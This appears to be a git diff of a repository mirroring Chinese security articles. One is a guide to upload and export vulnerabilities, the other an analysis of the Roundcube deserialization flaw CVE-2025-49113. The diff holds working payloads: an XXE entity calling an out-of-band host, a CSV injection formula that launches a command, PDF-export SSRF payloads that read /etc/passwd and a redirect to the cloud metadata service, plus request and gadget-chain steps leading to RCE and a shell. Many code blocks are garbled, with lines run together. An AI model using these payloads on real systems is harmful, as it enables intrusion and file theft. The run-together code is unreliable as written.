1. 在客户端通过JavaScript代码完成签名,然后通过表单直传数据到OSS // 硬编码在JS中2. 在服务端完成签名,然后通过表单直传数据到OSS3. 在服务端完成签名,并且服务端设置了上传后回调,然后通过表单直传数据到OSS OSS回调完成后,再将应用服务器响应结果返回给客户端
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
**前提未上云且可以预览**
|
||||
@@ -510,8 +472,7 @@ html asp php
|
||||
的文件,如路径可控进行路径穿越
|
||||
|
||||
```
|
||||
1.png --->1.php----->1.html....
|
||||
static/img/img1: 存放静态资源图片等信息的服务器
|
||||
1.png --->1.php----->1.html....static/img/img1: 存放静态资源图片等信息的服务器
|
||||
```
|
||||
|
||||
**不做解析情况**
|
||||
@@ -527,16 +488,10 @@ HTML PDF SVG
|
||||
(此操作情况是上传的文件支持预览操作而不是访问后直接下载,这样才有危害)
|
||||
|
||||
```
|
||||
Content-Type: image/jpeg // 正常图片类型
|
||||
--------------------------------------------------------
|
||||
Content-Type: text/html // HTML文档类型上传.html修改
|
||||
Content-Type: application/pdf // PDF文件格式
|
||||
Content-Type: application/x-httpd-php // PHP格式
|
||||
Content-Type: application/jsp // JSP格式
|
||||
Content-Type: application/xml // XML格式
|
||||
Content-Type: image/jpeg // 正常图片类型--------------------------------------------------------Content-Type: text/html // HTML文档类型上传.html修改Content-Type: application/pdf // PDF文件格式Content-Type: application/x-httpd-php // PHP格式Content-Type: application/jsp // JSP格式Content-Type: application/xml // XML格式
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
上传后缀名还是
|
||||
@@ -547,18 +502,16 @@ html
|
||||
html
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
**payload**
|
||||
|
||||
```
|
||||
Content-Disposition: form-data; name="file"; filename="12.png"
|
||||
Content-Type: text/html
|
||||
<script>alert(1)</script>
|
||||
Content-Disposition: form-data; name="file"; filename="12.png"Content-Type: text/html<script>alert(1)</script>
|
||||
```
|
||||
#### 上传泄露bucket桶覆盖文件
|
||||
|
||||
@@ -570,21 +523,16 @@ Content-Type: text/html
|
||||
导入或者上传的功能点,也是上传过后响应包返回了如下数据,如不知道桶名只能源码慢慢审查,判断是哪个云厂商然后找平台文档找脚本进行应用填入对应的值,还是需要一个包一个包的找泄露
|
||||
|
||||
```
|
||||
Bucket 桶名
|
||||
tmp_secret_key
|
||||
tmp_tokene
|
||||
-------
|
||||
secret_id=
|
||||
secret_key=
|
||||
Bucket 桶名tmp_secret_keytmp_tokene-------secret_id=secret_key=
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
根据文档脚本进行上传文件操作,上传的文件是在根目录下,按理
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
通过脚本填入对应的值,任意上传文件至网站根目录,如知晓 网站其他路径上传即可实现覆盖操作.
|
||||
@@ -592,31 +540,10 @@ body
|
||||
为上传的内容
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
```
|
||||
// 上传脚本执行需要Py为3.0版本下
|
||||
from qcloud_cos import CosConfig
|
||||
from qcloud_cos import CosS3Client
|
||||
import sys
|
||||
import logging
|
||||
# 配置日志输出
|
||||
logging.basicConfig(level=logging.INFO, stream=sys.stdout)
|
||||
# 填入你的密钥、ID、区域等信息
|
||||
secrets_key = 'your_secret_key'
|
||||
secrets_id = 'your_secret_id'
|
||||
region = 'your_region'
|
||||
token = ''scheme = 'https'
|
||||
# 配置CosConfig
|
||||
config = CosConfig(Region=region, SecretId=secrets_id, SecretKey=secrets_key, Token=token, Scheme=scheme)
|
||||
# 创建CosS3Client
|
||||
client = CosS3Client(config)
|
||||
# 上传文件到指定存储桶
|
||||
response = client.put_object(
|
||||
Bucket='your_bucket_name', # 存储桶名称
|
||||
Key='a.txt', # 上传文件名称
|
||||
Body='Hello, World!' # 文件内容
|
||||
)
|
||||
// 上传脚本执行需要Py为3.0版本下from qcloud_cos import CosConfigfrom qcloud_cos import CosS3Clientimport sysimport logging# 配置日志输出logging.basicConfig(level=logging.INFO, stream=sys.stdout)# 填入你的密钥、ID、区域等信息secrets_key = 'your_secret_key'secrets_id = 'your_secret_id'region = 'your_region'token = ''scheme = 'https'# 配置CosConfigconfig = CosConfig(Region=region, SecretId=secrets_id, SecretKey=secrets_key, Token=token, Scheme=scheme)# 创建CosS3Clientclient = CosS3Client(config)# 上传文件到指定存储桶response = client.put_object( Bucket='your_bucket_name', # 存储桶名称 Key='a.txt', # 上传文件名称 Body='Hello, World!' # 文件内容)
|
||||
```
|
||||
### 上传Excle文件XXE
|
||||
|
||||
@@ -645,14 +572,13 @@ BP
|
||||
DNS.log
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
```
|
||||
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://bq5z980jwrrniaf9ox35q5fyppvgj5.burpcollaborator.net/"> ]>
|
||||
<x>&xxe;</x>
|
||||
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://bq5z980jwrrniaf9ox35q5fyppvgj5.burpcollaborator.net/"> ]><x>&xxe;</x>
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
加入
|
||||
@@ -660,7 +586,7 @@ Paylaod
|
||||
保存是现在是文件夹的形式
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
压缩为
|
||||
@@ -670,7 +596,7 @@ xlsx
|
||||
,是两步 然后就弄好了恶意文件,切换地址就行了
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
有回显切换伪协议读取文件
|
||||
@@ -697,35 +623,14 @@ XXE
|
||||
常见的XML传参的数据包
|
||||
|
||||
```
|
||||
<?xm; version="1.0" encoding="UTF-8"?>
|
||||
<stockCheck>
|
||||
<productid>
|
||||
2
|
||||
</productid>
|
||||
<storeid>
|
||||
1
|
||||
</storeid>
|
||||
<stockCheck>
|
||||
<?xm; version="1.0" encoding="UTF-8"?><stockCheck><productid>2</productid><storeid>1</storeid><stockCheck>
|
||||
```
|
||||
|
||||
在语句之间插入
|
||||
Payload
|
||||
|
||||
```
|
||||
Payload:
|
||||
<!D0CTYPE foo [<!ENTITY % xxe system "YOUR-DTO-URL"> %xxe;]>
|
||||
-----------------------------------------
|
||||
<?xm; version="1.0" encoding="UTF-8"?>
|
||||
// 写入 dns.log 地址
|
||||
<!D0CTYPE foo [<!ENTITY % xxe system "https:baidu.com"> %xxe;]>
|
||||
<stockCheck>
|
||||
<productid>
|
||||
2
|
||||
</productid>
|
||||
<storeid>
|
||||
1
|
||||
</storeid>
|
||||
<stockCheck
|
||||
Payload:<!D0CTYPE foo [<!ENTITY % xxe system "YOUR-DTO-URL"> %xxe;]>-----------------------------------------<?xm; version="1.0" encoding="UTF-8"?>// 写入 dns.log 地址<!D0CTYPE foo [<!ENTITY % xxe system "https:baidu.com"> %xxe;]><stockCheck><productid>2</productid><storeid>1</storeid><stockCheck
|
||||
```
|
||||
### 上传压缩软链接任意读取文件
|
||||
|
||||
@@ -737,12 +642,10 @@ Payload:
|
||||
功能点是上传压缩包,压缩包读取里面的文件内容返回,利用这个点我们要构造它读取的文件内容是否可以重定向到其他的位置,思路还是很好的,实战场景较少可以作为拓展点
|
||||
|
||||
```
|
||||
1. 故意上传报错信息暴露出上传后的位置
|
||||
2. 对此路径进行构造,压缩包内的文件内容为软链接重定义到指定的路径位置
|
||||
3. 上传后系统读取这个文件 读取到软链接后就重定向到指定的问题造成任意文件读取
|
||||
1. 故意上传报错信息暴露出上传后的位置2. 对此路径进行构造,压缩包内的文件内容为软链接重定义到指定的路径位置3. 上传后系统读取这个文件 读取到软链接后就重定向到指定的问题造成任意文件读取
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
### 上传头像/图片img可控CSRF退出
|
||||
|
||||
@@ -756,10 +659,7 @@ CSRF
|
||||
,发送后成功添加,我们的头像就是一个代码链接,别人看到了就会加载访问.退出网站
|
||||
|
||||
```
|
||||
1. 头像抓包确认出现img可控
|
||||
2. 抓取网站退出请求get作为CSRF
|
||||
3. 再次上传头像/图片 替换img标签内的链接为退出
|
||||
4. 放包查看效果
|
||||
1. 头像抓包确认出现img可控2. 抓取网站退出请求get作为CSRF3. 再次上传头像/图片 替换img标签内的链接为退出4. 放包查看效果
|
||||
```
|
||||
### 上传302跳转未授权绕过401
|
||||
|
||||
@@ -772,7 +672,7 @@ CSRF
|
||||
.png``.jpg
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
### 文件name重命名RCE
|
||||
|
||||
@@ -787,7 +687,7 @@ ping
|
||||
RCE
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
修改其中的一个文件名后面利用
|
||||
@@ -798,7 +698,7 @@ RCE
|
||||
PING
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
### 图片大小参数可控制
|
||||
|
||||
@@ -810,7 +710,7 @@ Image Size lssues
|
||||
插件进行检测算是捡烂吧,观察响应包的自己数量判断
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
### 越权/遍历上传
|
||||
|
||||
@@ -822,8 +722,7 @@ fileid
|
||||
它人的上传信息,上传后文件名如第二种,可能此文件是系统经过重命名的,重命名的方式一般采用当前上传的时间戳或者当前上传的日期加随机字段,这种情况下枚举较为困难
|
||||
|
||||
```
|
||||
https://www.xxx.com/user1/userfile.php?fileid=10001
|
||||
https://www.ccc.com/user1/userfile.php?fileid=user1_name.jpg
|
||||
https://www.xxx.com/user1/userfile.php?fileid=10001https://www.ccc.com/user1/userfile.php?fileid=user1_name.jpg
|
||||
```
|
||||
## 导出文件
|
||||
|
||||
@@ -835,7 +734,7 @@ xlsx
|
||||
没有被触发那么就一定没有效果,只能做到钓鱼的效果,但学习一下不是坏事,在不限制漏洞类型的众测中还是可以捡到钱的大部分人忽略了这个问题
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
CSV注入详解-先知社区
|
||||
@@ -844,7 +743,7 @@ CSV注入详解-先知社区
|
||||
=1+cmd|'/C calc'!A0 # 弹出计算机
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
### PDF导出SSRF内网
|
||||
|
||||
@@ -887,8 +786,7 @@ file
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
- 导出
|
||||
PDF
|
||||
@@ -900,7 +798,7 @@ HTML
|
||||
导出场景
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
出现代码手动插入
|
||||
@@ -912,12 +810,10 @@ SSRF
|
||||
请求了,再利用伪协议读取文件
|
||||
|
||||
```
|
||||
<img src="https://cdn.nlark.com/yuque/0/2025/svg/22621815/1746580510639-7332d640-7031-4964-8b00-f0932cd61bf9.svg" />
|
||||
# file协议读文件
|
||||
<iframe src="file:///etc/passwd" width=400height=400/>
|
||||
<img src="https://cdn.nlark.com/yuque/0/2025/svg/22621815/1746580510639-7332d640-7031-4964-8b00-f0932cd61bf9.svg" /># file协议读文件<iframe src="file:///etc/passwd" width=400height=400/>
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
完整的攻击文章,从导出探测到可控之后尝试读取内网再读取内网文件,但亮点是正常是通过
|
||||
@@ -941,20 +837,13 @@ javascript
|
||||
将在服务器端执行,通过注入以下 代码从文件系统进行文件的读取
|
||||
|
||||
```
|
||||
<script>
|
||||
x=new XMLHttpRequest;
|
||||
x.onload=function(){
|
||||
document.write(this.responseText)
|
||||
};
|
||||
x.open('GET','file:///etc/passwd');
|
||||
x.send();
|
||||
</script>
|
||||
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///etc/passwd');x.send();</script>
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
**绕过**
|
||||
@@ -975,10 +864,10 @@ PDF
|
||||
<meta http-equiv="refresh" content="0;url=http://metadata.tencentyun.com/latest/meta-data" />
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
### 未授权导出CSRF+邮箱接收
|
||||
|
||||
@@ -992,7 +881,7 @@ CSRF
|
||||
打出组合的效果
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
### 导出置空参数
|
||||
|
||||
@@ -1002,7 +891,10 @@ CSRF
|
||||
往往会有意想不到的效果,
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
原文链接:
|
||||
https://xz.aliyun.com/news/18107
|
||||
|
||||
|
||||
@@ -0,0 +1,278 @@
|
||||
# 潜伏十年的严重漏洞:CVE-2025-49113 Roundcube 反序列化漏洞原理与 gadget 构造深度分析
|
||||
原创 KCyber 自在安全 2025-06-07 23:30
|
||||
|
||||
|
||||
|
||||
## 漏洞概述
|
||||
|
||||
近日官方披露 Roundcube
|
||||
邮件系统中存在一个潜伏了10
|
||||
年之久的严重漏洞,虽然只有认证后才能触发,但CVSS
|
||||
评分仍然高达9.9
|
||||
分。由于Roundcube
|
||||
自定义的session
|
||||
序列化与反序列化函数存在逻辑缺陷,导致可通过构造特殊请求实现RCE
|
||||
。该漏洞影响1.5.10
|
||||
及1.6.11
|
||||
以下版本。
|
||||
## 补丁对比
|
||||
|
||||
补丁地址: https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d 。rcmail_action_settings_upload::run
|
||||
函数中新增了对请求参数 _from
|
||||
的格式检查,将其限定为简单字符串类型:
|
||||
|
||||

|
||||
|
||||
## 请求路由分析
|
||||
|
||||
首先分析一下到达 rcmail_action_settings_upload::run
|
||||
的请求路由。 rcmail_action_settings_upload
|
||||
继承了 rcmail_action
|
||||
抽象类,分析可知 rcmail_action
|
||||
子类主要用于处理对应的 HTTP
|
||||
请求。
|
||||
|
||||
在系统首页 index.php
|
||||
中将调用$RCMAIL->action_handler
|
||||
进行路由分发。进入action_handler
|
||||
函数,提取task
|
||||
和action
|
||||
变量(来自于请求参数_task
|
||||
和_action
|
||||
), 并尝试创建处理请求的rcmail_action
|
||||
对象。函数中存在多种类创建方式,比如rcmail_action_{$task}_index
|
||||
,但是显然rcmail_action_settings_upload
|
||||
满足不了这种格式要求 :
|
||||
|
||||

|
||||
|
||||
|
||||
往下看还有另一种获取 $class
|
||||
的方式: rcmail_action_{$task}_{$action}
|
||||
,如果类存在将调用其 run
|
||||
函数:
|
||||
|
||||

|
||||
|
||||
|
||||
需要注意在调用 run
|
||||
之前存在 check
|
||||
检查:
|
||||
|
||||

|
||||
|
||||
|
||||
可以在请求中加入 _remote
|
||||
参数,确保 $rcmail->output->ajax_call
|
||||
非空从而使得 check
|
||||
函数返回值为 true
|
||||
:
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
构造如下 HTTP
|
||||
请求可进入 rcmail_action_settings_upload::run
|
||||
:
|
||||
```
|
||||
GET /?_task=settings&_action=upload&_remote=1&_from=from123...
|
||||
```
|
||||
|
||||
调用栈如下:
|
||||
|
||||

|
||||
|
||||
## session序列化与反序列化分析
|
||||
|
||||
既然是 PHP
|
||||
反序列化漏洞,首先搜索一下unserialize
|
||||
的调用点。Roundcube
|
||||
中unserialize
|
||||
函数使用的并不多,我们注意到在处理session
|
||||
的rcube_session
|
||||
类中,自定义了serialize
|
||||
和unserialize
|
||||
函数,用于完成session
|
||||
会话的序列化与反序列化。反向搜索rcube_session::unserialize
|
||||
调用点,找到sess_write
|
||||
函数:
|
||||
```
|
||||
rcube_session.unserialize │ └─→ rcube_session._fixvars │ └─→rcube_session.sess_write
|
||||
```
|
||||
|
||||
直接分析找不到 sess_write
|
||||
的调用点,那么如何触发呢?注意到rcube_session
|
||||
初始化过程中利用session_set_save_handler
|
||||
将sess_write
|
||||
注册为了session
|
||||
写入的回调函数,并且类中还定义了append
|
||||
、remove
|
||||
、reload
|
||||
等函数对session
|
||||
进行处理:
|
||||
```
|
||||
public function register_session_handler(){ ... // set custom functions for PHP session management session_set_save_handler( [$this, 'open'], [$this, 'close'], [$this, 'read'], [$this, 'sess_write'], //设置 sess_write 回调函数 [$this, 'destroy'], [$this, 'gc'] ); ...}.../** * Re-read session data from storage backend */public function reload().../** * Append the given value to the certain node in the session data array * * Warning: Do not use if you already modified $_SESSION in the same request (#1490608) * * @param string $path Path denoting the session variable where to append the value * @param string $key Key name under which to append the new value (use null for appending to an indexed list) * @param mixed $value Value to append to the session data array */public function append($path, $key, $value).../** * Unset a session variable * * @param string $var Variable name (can be a path denoting a certain node * in the session array, e.g. compose.attachments.5) * * @return bool True on success, False on failure */public function remove($var = null)
|
||||
```
|
||||
|
||||
而 rcmail_action_settings_upload::run
|
||||
刚好调用了其中的 append
|
||||
函数。修改请求数据包为图片文件上传的格式,成功触发 rcube_session::append
|
||||
:
|
||||
|
||||

|
||||
|
||||
|
||||
继续往下走顺利进入 rcube_session::unserialize
|
||||
。调试发现传入 PHP
|
||||
原生反序列化函数 unserialize
|
||||
的参数 $serialized
|
||||
中,含有 filename
|
||||
和 _from
|
||||
的值:
|
||||
|
||||

|
||||
|
||||
|
||||
可以通过控制请求参数来污染 session
|
||||
会话,那么是否存在利用的可能性呢?为了方便分析,新建一个辅助的 PHP
|
||||
文件,并将 rcube_session
|
||||
类中的 unserialize
|
||||
和 serialize
|
||||
放入其中(还可以在 rcube_session::unserialize
|
||||
中添加 echo
|
||||
打印信息):
|
||||
```
|
||||
<?phpclass My{ //rcube_session::serialize protected function serialize($vars) { ... } //rcube_session::unserialize public static function unserialize($str) { ... }}$a=$_POST['payload'];$f=My::unserialize($a);echo $f;
|
||||
```
|
||||
|
||||
与原生反序列化相比,自定义的 session
|
||||
反序列化函数中主要新增了对 !
|
||||
和 |
|
||||
等字符的处理:
|
||||
|
||||

|
||||
|
||||
|
||||
分析后得出如下结论:
|
||||
- • |
|
||||
符号类似一个分割符,将对象分为 key
|
||||
和 value
|
||||
;
|
||||
|
||||
- • !
|
||||
符号会将 value
|
||||
设置为 N;
|
||||
,表示 NULL
|
||||
空值。
|
||||
|
||||

|
||||
|
||||
|
||||
在 _from
|
||||
和 filename
|
||||
这两个可污染 session
|
||||
的参数中尝试加入 |
|
||||
和 !
|
||||
符号,发现当构造特定请求时, filename
|
||||
中的字符串被转换为一个序列化对象:
|
||||
|
||||

|
||||
|
||||
该序列化对象最后会二次调用 PHP
|
||||
原生 unserialize
|
||||
函数,找一个 Roundcube
|
||||
中的类进行测试,比如 rcmail_sendmail
|
||||
,成功进入 rcmail_sendmail::__destruct
|
||||
:
|
||||
|
||||

|
||||
|
||||
|
||||
如果换成其他可利用的 gadget
|
||||
,就可能会触发 RCE
|
||||
。
|
||||
## gadget利用链构造
|
||||
|
||||
上面测试用的 rcmail_sendmail
|
||||
类本身就是一个可利用的 gadget
|
||||
,可实现任意文件删除:
|
||||
```
|
||||
public function __destruct(){ foreach ($this->temp_files as $file) { @unlink($file); }}
|
||||
```
|
||||
|
||||
Roundcube
|
||||
中可利用的反序列化 gadget
|
||||
比较多,以下是整理的部分 gadget
|
||||
:
|
||||
- • rcmail_sendmail
|
||||
类 :任意文件删除;
|
||||
|
||||
- • rcmail_attachment_handler
|
||||
类:任意文件删除;
|
||||
|
||||
- • \GuzzleHttp\Cookie\FileCookieJar
|
||||
类:任意文件写入;
|
||||
|
||||
- • \GuzzleHttp\Psr7\FnStream
|
||||
类: 任意代码执行;
|
||||
|
||||
- • Crypt_GPG_Engine
|
||||
类:任意命令执行;
|
||||
|
||||
- • ...
|
||||
|
||||
分析发现 filename
|
||||
参数存在一定限制,无法包含反斜杠等特殊字符,导致 \GuzzleHttp\Cookie\FileCookieJar
|
||||
这种存在命令空间的类无法使用,好在 Crypt_GPG_Engine
|
||||
没有命令空间,所以可以用来触发 RCE
|
||||
(可借助 pspy
|
||||
监控命令执行进程 ):
|
||||
|
||||

|
||||
|
||||
## 利用方式拓展
|
||||
|
||||
有没有更通用的利用方式呢?将 filename
|
||||
后缀设置为类似 s:300
|
||||
这种长字符长度时,观察到后面还有内容会写入 session
|
||||
,其中就包含了请求参数 _from
|
||||
的值:
|
||||
|
||||

|
||||
|
||||
|
||||
因此可以通过控制字符串长度让其与 _from
|
||||
进行闭合,然后将 gadget
|
||||
放在 _from
|
||||
后面,这样也可以触发反序列化操作,并且不存在限制问题:
|
||||
|
||||

|
||||
|
||||
## 如何实现文件写入
|
||||
|
||||
从原理上看,反序列化触发路径应该与 index.php
|
||||
相同,均位于 Web
|
||||
目录,但是调试发现命令执行时工作目录变成了系统根目录,因权限不够导致无法写入 shell
|
||||
。分析后发现问题出在 proc_open
|
||||
函数,这里参数 cwd
|
||||
被设置为了 null
|
||||
,导致工作目录被重置为 /
|
||||
:
|
||||
|
||||

|
||||
|
||||
|
||||
绕过方法非常简单,最终成功 getshell
|
||||
:
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,公众号及文章作者不为此承担任何责任。
|
||||
|
||||
|
||||
@@ -1,3 +1,3 @@
|
||||
# 还在用Wireshark?这款工具直接帮你提取Web攻击+复现请求全过程!
|
||||
取证与溯源 2025-06-03 02:25
|
||||
网络安全与取证研究 2025-06-08 01:01
|
||||
|
||||
Reference in new issue
Block a user